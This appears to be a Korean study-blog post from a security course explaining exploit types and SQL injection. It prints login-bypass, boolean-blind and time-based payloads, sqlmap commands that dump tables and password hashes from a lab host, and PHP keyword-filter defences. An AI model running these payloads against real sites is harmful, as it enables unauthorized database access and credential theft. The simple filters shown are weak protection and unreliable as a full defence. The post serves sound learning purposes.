Exploit, SQL Injection

:)·2024년 6월 11일
0

보안 

목록 보기
23/28

Exploit (인젝션)

  • exploit: 컴퓨터, 스마트폰 등 전자 기기에 대한 보안 취약점을 이용하여 해커의 의도대로 공격하도록 설계된 명령, 스크립트, 프로그램
  • 공격의 종류
    • 중간자 공격(MITM): Man In The Middle, 통신을 하는 와중에 공격자가 중간에 끼어들어 트래픽을 가로채는 것 - DNS 스푸핑
    • 제로데이 공격(Zero Day Attack): 소프트웨어의 아직 알려지지 않은 취약점, 심지어 제조사도 아직 알지 못하는 취약점을 공격, 아직 해당 보안 취약점에 대한 패치가 이루어지지 않은 상태에서 해커에게 거의 무방비로 당하는 형태의 공격
    • DDoS: 해커가 디바이스의 제어권을 얻은 뒤 봇넷으로 이용, 특정 서버에 끝없이 액세스를 해서 서버 과부하 유발 - 트로이 목마(Trojan) 악성코드로 인해서 DDoS 감염이 될 수 있음
    • 랜섬웨어(Ransomware): 멀웨어의 한 종류로, 피해자의 파일 등을 암호화 한 다음 금전을 요구. 랜섬 웨어에 감염이 되면 ‘암호화를 해제하고 싶다면 비트코인으로 결제를 하라’ 등의 메시지가 뜸.
    • 브라우저 익스플로잇(Browser Exploit): 브라우저의 보안 취약점을 이용해서 틈타는 공격. ActiveX 등의 스크립트를 통해서 사용자가 다운로드 받게 만들고, 브라우저를 마음대로 조종
    • SQL Injection: 주로 웹에서 일어나는 익스플로잇 공격으로, 데이터베이스의 헛점을 이용하여 예상치 못한 값을 입력. 임의의 SQL 쿼리를 실행하여 데이터베이스를 조작
    • 키 로깅(Key logging): 사용자가 키보드로 입력하는 정보를 감시, 훔쳐가는 공격 수법. 키보드에 입력된 정보는 운영체제에서 처리가 되는데, 그 때 정보를 빼내서 파일로 저장한 다음 해킹 서버로 보냄. - 아이디, 비밀번호 등의 기밀 정보가 유출되기 쉬움

SQL Injection

  • sql 구문을 중간에 끼워 넣음
  • 종류
  1. Non-Blind SQL Injection : 결과 확인 가능
    • Query result SQL: 쿼리 결과 SQL
    • Error Base SQL: 오류 발생 유도를 이용한 SQL
  2. Blind SQL Injection : 결과 확인 불가능, 유추 해야 함 → 주로 자동화 공격
    • Boolean SQL: 참과 거짓을 통해 데이터 확인
    • time base SQL: 시간 차 공격(sleep).. 활용해서 참일 경우 딜레이

Non-Blind SQL Injection

  • 예제 1
    • 로그인
      ID, PW에 'or' 1=1 으로 하면 가능
      select id,pw from class where id='$id' and pw='$pw';
       select id,pw from class where id=' 'or' 1=1' and pw=' 'or' 1=1';
      
      - 1은 참이기에 or를 통해 참거짓만 판단하여 맨 처음에 나오는 계정으로 로그인이 되어버림
  • 보안 방법
    1. ' 를 막음
    2. db에 보통 로그인이 되지않거나 되어도 상관없는 계정값을 맨처음에 넣어놓음
  • https://velog.io/@dpwls_w/웹-사이트-해킹-모의실습-2-DB
  • %27 : '
    %20 : 공백
  • Mssql 데이터베이스
    • INFORMATION_SCHEMA.TABLES INFORMATION_SCHEMA.COLUMNS SYS.OBJECTS SYS.COLUMNS
  • Oracle 데이터베이스
    • ALL_TABLES
      USER_TABLES ( TABS )
      ALL_TAB_COLUMNS
      USER_TAB_COLUMNS ( COLS )
  • Mysql 데이터베이스
    • INFORMATION_SCHEMA.TABLES INFORMATION_SCHEMA.COLUMNS

Blind SQL Injection

  1. 참 거짓으로 구별 ( boolean-base blind SQL)
    • select substring ( 글자,위치,길이) select substring('sevas sivas',1); 첫번째 글자부터
      select substring('sevas sivas',2,3); 두번째 글자부터 3글자
      • 아스키코드로 크기 비교
        • 아스키코드 주의할 점
          숫자는 0x30 에서부터 시작
          문자는 0x41 대문자
          0x61 소문자
          - 아스키코드로 찾기 (0x41 = A =65 0, x61= a = 97)
          [문자]
          select substring((select id from class limit 0,1),1,1);
          [10진수]
          select ascii(substring((select id from class limit 0,1),1,1));
          [16진수]
          select hex(ascii(substring((select id from class limit 0,1),1,1)));
          - a d m i n
                  [첫번째문자]   =  a
                  select hex(ascii(substring((select id from class limit 0,1),1,1))) = '65';
                  select hex(ascii(substring((select id from class limit 0,1),1,1))) = '61';
                  
                  [다섯번째문자]
                  select hex(ascii(substring((select id from class limit 0,1),5,1))) <= '6d';   0
                  select hex(ascii(substring((select id from class limit 0,1),5,1))) <= '6e';   1
                  select unhex('69');
                  
          - 반대로 16진수를 문자로 바꿀때 : unhex
          - 로그인 실습
              
              웹페이지에 넣어본다 (로그인창) (database = sevas )
              [16진수]
              ' or hex(ascii(substring(database(),1,1))) =73#
              
              [10진수]
              ' or ascii(substring(database(),1,1))=115#
              
              #은 주석 (--)
              
  2. Time-base Blind injection
    • 참/거짓 응답 확인이 어려울 때 확인하는 기법
    • 직접 들어가지 않더라도 확인할 수 있음.
      • select 1 and sleep(3); 3초 지연
        select 0 and sleep(3); 지연X
      • select hex(substring(database(),1,1))= 73 and sleep(5); 지연
        select hex(substring(database(),1,1))= 74 and sleep(5); 지연X
        select unhex('73');
      • ' or hex(substring(database(),1,1))= 73 and sleep(5)#
        ID: ' or hex(substring(database(),1,1))= 73 and sleep(5)# 지연
        PW: 아무거나
        ID:' or hex(substring(database(),1,1))= 74 and sleep(5)# 지연X
        PW: 아무거나
  • sqlmap tool
    • [-u URL] : 공격을 수행할 페이지 주소 지정 ****
    • [--cookie=COOKIE] : 쿠키 값 지정
    • [--data DATA] : POST 방식으로 데이터가 전달될 때, 해당 데이터를 지정
    • [-p TESTPARAMETER] : 공격을 수행할 파라미터를 지정 ****
    • [-v VERBOSE] : 명령어 수행을 얼마나 상세하게 출력할 것 인지를 지정 (0~6)
    • [--passwords] : 사용자들의 패스워드 해시값을 출력
    • [--tables] : 데이터베이스의 테이블들을 출력 *
    • [--columns] : 데이터베이스 테이블의 컬럼들을 출력 *
    • [--dump] : 데이터베이스 테이블 엔트리를 덤프 *
    • [--dbs] : 데이터베이스 리스트 출력 *
    • [-D DB] : 특정 데이터베이스 지정 *
    • [-T TBL] : 특정 테이블 지정 *
    • [-C COL] : 특정 컬럼 지정 *
  • tool 예시
    • db 정보 수집 sqlmap -u "http://192.168.10.100/board_view.php?b_no=0" -p "b_no"

    • db 확인 sqlmap -u "http://192.168.10.100/board_view.php?b_no=0" -p "b_no" -dbs

    • table 확인 sqlmap -u "http://192.168.10.100/board_view.php?b_no=0" -p "b_no" -D sevas --tables

    • column 확인 sqlmap -u "http://192.168.10.100/board_view.php?b_no=0" -p "b_no" -D sevas -T class --column

    • 값 확인 sqlmap -u "http://192.168.10.100/board_view.php?b_no=0" -p "b_no" -D sevas -T class --dump

      위치: /root/.local/share/sqlmap/output/192.168.10.10

SQL Injection 방어

  1. 특수문자들은 공백으로 만들어서 사용하지 못하도록 코드수정
    1. ' , " , \ , null 등을 자동 백슬레시로 이스케이프 하는등 문자열 필터링
      (' " ) 앞에 \를 하여 일반 문자로 바꿔줌
      - php 코드 보안
          board_view.php
          
          ```jsx
          $b_no=$_GET['b_no']; 아래
          if(preg_match('/(union|select|from|where)/i', $b_no))
          {
          echo "No SQL-Injection!!!!<br>";
          exit;
          }
          
          proc/login_proc.php
          
          $id=$_POST['id'];
          $pw=$_POST['pw'];   아래
          
          $id = preg_replace("/[\r\n\s\t\'\;\"\=\-\-\#\/*]+/","", $id);
          $pw = preg_replace("/[\r\n\s\t\'\;\"\=\-\-\#\/*]+/","", $pw);
          if(preg_match('/(union|select|from|where)/i', $id))
          {
          echo "No SQL-Injection!!!!<br>";
          exit;
          }
          ```
          
  2. union,select 와 같은 SQL 구문을 검사하는 코드를 제작하여 검색 시에 에러 페이지를 출력 시키도록 한다.
  • upload보안

    1. php나 asp나 html등 web확장자 파일 차단.
    2. 특수 문자나 웹스크립트 언어 부분을 치환하거나 막는다. ( 백신,디펜더 )
  • download보안

    1. 기존의 DB내용에 있는 파일인지 점검
    2. ../../../ 와 같은 경로문자를 빈칸으로 치환

참고 사이트

https://nordvpn.com/ko/blog/exploit/

profile
:) GITHUB: https://github.com/YJ2123412

0개의 댓글